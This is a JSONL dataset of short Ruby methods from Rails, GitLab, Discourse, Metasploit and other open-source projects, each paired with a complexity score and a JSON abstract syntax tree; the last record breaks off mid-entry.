{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":221,"raw_source":"def test_preserving_date_objects\n    # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)\n    assert_kind_of(\n      Date, Topic.find(1).last_read,\n      \"The last_read attribute should be of the Date class\"\n    )\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preserving_date_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"last_read\"]},{\"type\":\"str\",\"children\":[\"The last_read attribute should be of the Date class\"]}]}]}","id":"d39c0cad-f74b-4697-b0f6-b987a93d13b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/quota/size.rb","start_line":33,"raw_source":"def message\n            doc_link = Rails.application.routes.url_helpers.help_page_url('ci/debugging.md',\n              anchor: 'pipeline-with-many-jobs-fails-to-start')\n            \"The number of jobs has exceeded the limit of #{ci_pipeline_size_limit}. \" \\\n              \"Try splitting the configuration with parent-child-pipelines #{doc_link}\"\n          end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]},\"help_page_url\",{\"type\":\"str\",\"children\":[\"ci/debugging.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"pipeline-with-many-jobs-fails-to-start\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The number of jobs has exceeded the limit of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci_pipeline_size_limit\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Try splitting the configuration with parent-child-pipelines \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc_link\"]}]}]}]}]}]}","id":"ef02c7eb-c118-4ed7-b2e5-2b362017f14d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":1024,"raw_source":"def test_phone_to_with_img\n    assert_dom_equal %{<a href=\"tel:1234567890\"><img src=\"/feedback.png\" /></a>},\n      phone_to(\"1234567890\", raw('<img src=\"/feedback.png\" />'))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_phone_to_with_img\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"tel:1234567890\\\"><img src=\\\"/feedback.png\\\" /></a>\"]},{\"type\":\"send\",\"children\":[null,\"phone_to\",{\"type\":\"str\",\"children\":[\"1234567890\"]},{\"type\":\"send\",\"children\":[null,\"raw\",{\"type\":\"str\",\"children\":[\"<img src=\\\"/feedback.png\\\" />\"]}]}]}]}]}","id":"8b8d5b79-4e05-4761-8a04-c4f9a8d33f2b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/builder/has_many.rb","start_line":9,"raw_source":"def self.valid_options(options)\n      valid = super + [:counter_cache, :join_table, :index_errors, :as, :through]\n      valid += [:foreign_type] if options[:as]\n      valid += [:source, :source_type, :disable_joins] if options[:through]\n      valid += [:ensuring_owner_was] if options[:dependent] == :destroy_async\n      valid\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"counter_cache\"]},{\"type\":\"sym\",\"children\":[\"join_table\"]},{\"type\":\"sym\",\"children\":[\"index_errors\"]},{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"through\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_type\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"through\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"source_type\"]},{\"type\":\"sym\",\"children\":[\"disable_joins\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dependent\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"destroy_async\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ensuring_owner_was\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]}","id":"6f852848-e28e-4edc-9dac-c09b8c226278"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/manage/adduser.rb","start_line":61,"raw_source":"def check_command_exists?(cmd)\n    command_exists?(cmd)\n  rescue RuntimeError => e\n    fail_with(Failure::Unknown, \"Unable to check if command `#{cmd}' exists: #{e}\")\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_command_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to check if command `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"' exists: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"21e21c38-8f61-4381-bd67-659f951fc80f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/bundler/gem_version.rb","start_line":112,"raw_source":"def forbidden_offense?(node)\n          return false unless forbidden_style?\n\n          includes_version_specification?(node) || includes_commit_reference?(node)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"forbidden_offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_style?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes_version_specification?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"includes_commit_reference?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"90cf0cc6-be6f-460f-ab41-6c621edd82a4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/manage_shares_component.rb","start_line":106,"raw_source":"def role_filter_option_active?(option)\n      role_filter_value = current_filter_value(params[:filters], \"role_id\")\n\n      return false if role_filter_value.nil?\n\n      selected_role = strategy.available_roles.find { it[:value] == option[:value] }\n\n      selected_role[:value] == role_filter_value.to_i\n    end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"role_filter_option_active?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"role_filter_value\",{\"type\":\"send\",\"children\":[null,\"current_filter_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},{\"type\":\"str\",\"children\":[\"role_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_filter_value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"selected_role\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"available_roles\"]},\"find\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_role\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role_filter_value\"]},\"to_i\"]}]}]}]}","id":"d7e07d27-f5db-49b7-aa41-cc5fdf73f58b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20220202201015_remove_trust_level_from_accounts.rb","start_line":6,"raw_source":"def change\n    safety_assured { remove_column :accounts, :trust_level, :integer }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"trust_level\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}","id":"5ffe3d13-aec4-4a61-a2f8-8072c8cffe95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/personal_file_uploader.rb","start_line":21,"raw_source":"def self.model_path_segment(model)\n    return 'temp/' unless model\n\n    File.join(model.class.underscore, model.id.to_s)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model_path_segment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"temp/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"class\"]},\"underscore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"id\"]},\"to_s\"]}]}]}]}","id":"2261f0d3-5d83-4c6a-a36e-322ae5c354d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_spam_serializer.rb","start_line":65,"raw_source":"def spam_scanning_user\n    user = DiscourseAi::AiModeration::SpamScanner.flagging_user\n\n    user.serializable_hash(only: %i[id username name admin]) if user.present?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"spam_scanning_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiModeration\"]},\"SpamScanner\"]},\"flagging_user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"serializable_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"admin\"]}]}]}]}]},null]}]}]}","id":"61fc6e03-6924-4bbb-9950-332880fb1340"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/metrics_controller.rb","start_line":8,"raw_source":"def index\n    response = if Gitlab::Metrics.prometheus_metrics_enabled?\n                 metrics_service.metrics_text\n               else\n                 help_page = help_page_url(\n                   'administration/monitoring/prometheus/gitlab_metrics.md')\n                 \"# Metrics are disabled, see: #{help_page}\\n\"\n               end\n\n    render plain: response, content_type: 'text/plain; version=0.0.4'\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"prometheus_metrics_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics_service\"]},\"metrics_text\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"help_page\",{\"type\":\"send\",\"children\":[null,\"help_page_url\",{\"type\":\"str\",\"children\":[\"administration/monitoring/prometheus/gitlab_metrics.md\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# Metrics are disabled, see: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"help_page\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"text/plain; version=0.0.4\"]}]}]}]}]}]}","id":"5cbab136-998b-498b-b051-b1181b8d43fc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/quota_helper.rb","start_line":125,"raw_source":"def vmware_model\n        @vm_template = vmware_template\n        @storage = FactoryBot.create(:storage_nfs)\n        create_request(vmware_requested_quota_values)\n        create_hardware\n        create_vmware_vms\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vmware_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vm_template\",{\"type\":\"send\",\"children\":[null,\"vmware_template\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"storage_nfs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_request\",{\"type\":\"send\",\"children\":[null,\"vmware_requested_quota_values\"]}]},{\"type\":\"send\",\"children\":[null,\"create_hardware\"]},{\"type\":\"send\",\"children\":[null,\"create_vmware_vms\"]}]}]}","id":"1ba9ad43-05fa-4fde-a773-85f6e9350c21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/client.rb","start_line":156,"raw_source":"def faraday_blob\n      @faraday_blob ||= faraday_base do |conn|\n        initialize_connection(conn, @options)\n\n        conn.use ::Faraday::FollowRedirects::Middleware, REDIRECT_OPTIONS\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"faraday_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@faraday_blob\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"faraday_base\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initialize_connection\",{\"type\":\"lvar\",\"children\":[\"conn\"]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Faraday\"]},\"FollowRedirects\"]},\"Middleware\"]},{\"type\":\"const\",\"children\":[null,\"REDIRECT_OPTIONS\"]}]}]}]}]}]}","id":"53a90731-eb25-4b04-bc8f-1d6a831d9eae"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/flagged_user_serializer.rb","start_line":26,"raw_source":"def ip_address\n    object.ip_address.try(:to_s)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ip_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"ip_address\"]},\"try\",{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}","id":"f630a34e-e97a-4542-b164-a42247fa08b3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1310,"raw_source":"def readonly(value = true)\n      spawn.readonly!(value)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"readonly\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spawn\"]},\"readonly!\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"d30ecae2-b3c1-48e7-a196-c8f337a88839"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/database/migrate.rb","start_line":89,"raw_source":"def get_changed_files(branch_name:)\n    set = Set.new\n\n    [MIGRATIONS_DIR, POST_DEPLOY_MIGRATIONS_DIR].each do |dir|\n      set += `git diff --name-only --diff-filter=d $(git merge-base #{branch_name} HEAD)..HEAD #{dir}`\n        .split(\"\\n\").to_set\n      set += `git diff --diff-filter=d --merge-base --name-only #{branch_name} #{dir}`.split(\"\\n\")\n    end\n\n    set\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_changed_files\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"branch_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_DIR\"]},{\"type\":\"const\",\"children\":[null,\"POST_DEPLOY_MIGRATIONS_DIR\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"set\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git diff --name-only --diff-filter=d $(git merge-base \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"str\",\"children\":[\" HEAD)..HEAD \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"to_set\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"set\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git diff --diff-filter=d --merge-base --name-only \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"set\"]}]}]}","id":"f7f8f872-bb6c-48f6-96ce-ca06b84a94c4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":558,"raw_source":"def test_eager_load_has_many_with_string_keys\n    subscriptions = subscriptions(:webster_awdr, :webster_rfr)\n    subscriber = Subscriber.all.merge!(includes: :subscriptions).find(subscribers(:second).id)\n    assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_load_has_many_with_string_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscriptions\",{\"type\":\"send\",\"children\":[null,\"subscriptions\",{\"type\":\"sym\",\"children\":[\"webster_awdr\"]},{\"type\":\"sym\",\"children\":[\"webster_rfr\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscriber\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"subscriptions\"]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribers\",{\"type\":\"sym\",\"children\":[\"second\"]}]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},\"subscriptions\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"bcd462de-fbc5-4973-8b9c-fc7e3ddf2f03"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/runner.rb","start_line":324,"raw_source":"def move_app_thinning_size_report\n      if File.exist?(PackageCommandGenerator.app_thinning_size_report_path)\n        FileUtils.mv(PackageCommandGenerator.app_thinning_size_report_path, File.expand_path(Gym.config[:output_directory]), force: true)\n        app_thinning_size_report_path = File.join(File.expand_path(Gym.config[:output_directory]), File.basename(PackageCommandGenerator.app_thinning_size_report_path))\n\n        UI.success(\"Successfully exported the App Thinning Size Report.txt file:\")\n        UI.message(app_thinning_size_report_path)\n        app_thinning_size_report_path\n      end\n    end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"move_app_thinning_size_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PackageCommandGenerator\"]},\"app_thinning_size_report_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PackageCommandGenerator\"]},\"app_thinning_size_report_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_directory\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_thinning_size_report_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PackageCommandGenerator\"]},\"app_thinning_size_report_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully exported the App Thinning Size Report.txt file:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"lvar\",\"children\":[\"app_thinning_size_report_path\"]}]},{\"type\":\"lvar\",\"children\":[\"app_thinning_size_report_path\"]}]},null]}]}","id":"8d236949-338d-444d-969b-94f98ec4df24"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/enterprise_edition/banner_component.rb","start_line":119,"raw_source":"def set_system_arguments(system_arguments, feature_key)\n      @system_arguments = system_arguments\n      @system_arguments[:tag] = :div\n      @system_arguments[:mb] ||= 2\n      @system_arguments[:id] = \"op-enterprise-banner-#{feature_key.to_s.tr('_', '-')}\"\n      @system_arguments[:test_selector] = \"op-enterprise-banner\"\n      @system_arguments[:classes] = class_names(\n        @system_arguments[:classes],\n        \"op-enterprise-banner\",\n        \"op-enterprise-banner_medium\" => @variant == :medium,\n        \"op-enterprise-banner_large\" => @variant == :large,\n        \"op-enterprise-banner_trial\" => trial_feature?\n      )\n    end","complexity_score":13.25,"ast_json":"{\"type\":\"def\",\"children\":[\"set_system_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"system_arguments\"]},{\"type\":\"arg\",\"children\":[\"feature_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@system_arguments\",{\"type\":\"lvar\",\"children\":[\"system_arguments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"div\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mb\"]}]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"op-enterprise-banner-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_key\"]},\"to_s\"]},\"tr\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"test_selector\"]},{\"type\":\"str\",\"children\":[\"op-enterprise-banner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"child